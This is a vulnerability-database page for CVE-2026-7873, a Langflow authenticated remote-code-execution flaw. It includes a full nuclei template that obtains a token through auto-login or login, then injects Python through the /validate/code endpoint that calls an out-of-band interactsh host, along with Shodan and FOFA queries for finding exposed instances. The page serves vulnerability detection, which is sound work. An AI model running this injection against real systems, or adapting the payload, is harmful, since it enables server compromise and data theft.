HexBrain

Browse / CVEs / CVE-2026-7873

CVE-2026-7873· langflow-ai / langflow· CWE-94

Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution

criticalseverity
9.9CVSS score
6.9%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.

Impact

Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.

Fix

Update to the latest version beyond 1.10.0.

How to confirm it

Send: GET /api/v1/version
Send: GET /api/v1/auto_login
Send: POST /api/v1/login
Send: POST /api/v1/validate/code
Positive when: contains_any(interactsh_protocol, "dns", "http")

Run it with nuclei: nuclei -id CVE-2026-7873 -u <target>

The full check
id: CVE-2026-7873

info:
  name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
  impact: |
    Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
  remediation: |
    Update to the latest version beyond 1.10.0.
  reference:
    - https://www.ibm.com/support/pages/node/7278441
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb
    - https://github.com/rmhowe425/POC-CVE-2026-7873
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-7873
    epss-score: 0.06917
    epss-percentile: 0.94145
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 4
    product: langflow
    vendor: langflow-ai
    shodan-query: 'http.title:"Langflow"'
    fofa-query: 'title="Langflow"'
  tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev

flow: |
  http(1);
  let inRange = false;
  if (template["langflow_version"] && template["langflow_package"]) {
    let p = String(template["langflow_version"]).split(".");
    let major = parseInt(p[0], 10);
    let minor = parseInt(p[1], 10);
    let patch = parseInt(p[2], 10);
    if (isNaN(patch)) { patch = 0; }
    if (!isNaN(major) && !isNaN(minor)) {
      let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));
      let atMost  = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));
      inRange = atLeast && atMost;
    }
  }
  if (inRange) {
    let token = "";
    http(2);
    if (template["auto_token"]) {
      token = template["auto_token"];
    }
    if (!token) {
      http(3);
      if (template["login_token"]) {
        token = template["login_token"];
      }
    }
    if (token) {
      set("auth_token", token);
      http(4);
    }
  }

http:
  - raw:
      - |
        GET /api/v1/version HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: langflow_version
        internal: true
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9][^"]*)"'

      - type: regex
        name: langflow_package
        internal: true
        part: body
        group: 1
        regex:
          - '"package"\s*:\s*"([Ll]angflow)"'

  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: auto_token
        internal: true
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    extractors:
      - type: regex
        name: login_token
        internal: true
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{auth_token}}

        {"code": "@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\ndef langflow_check():\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "dns", "http")'

References

Use this check only on systems you are authorised to test. Where the data comes from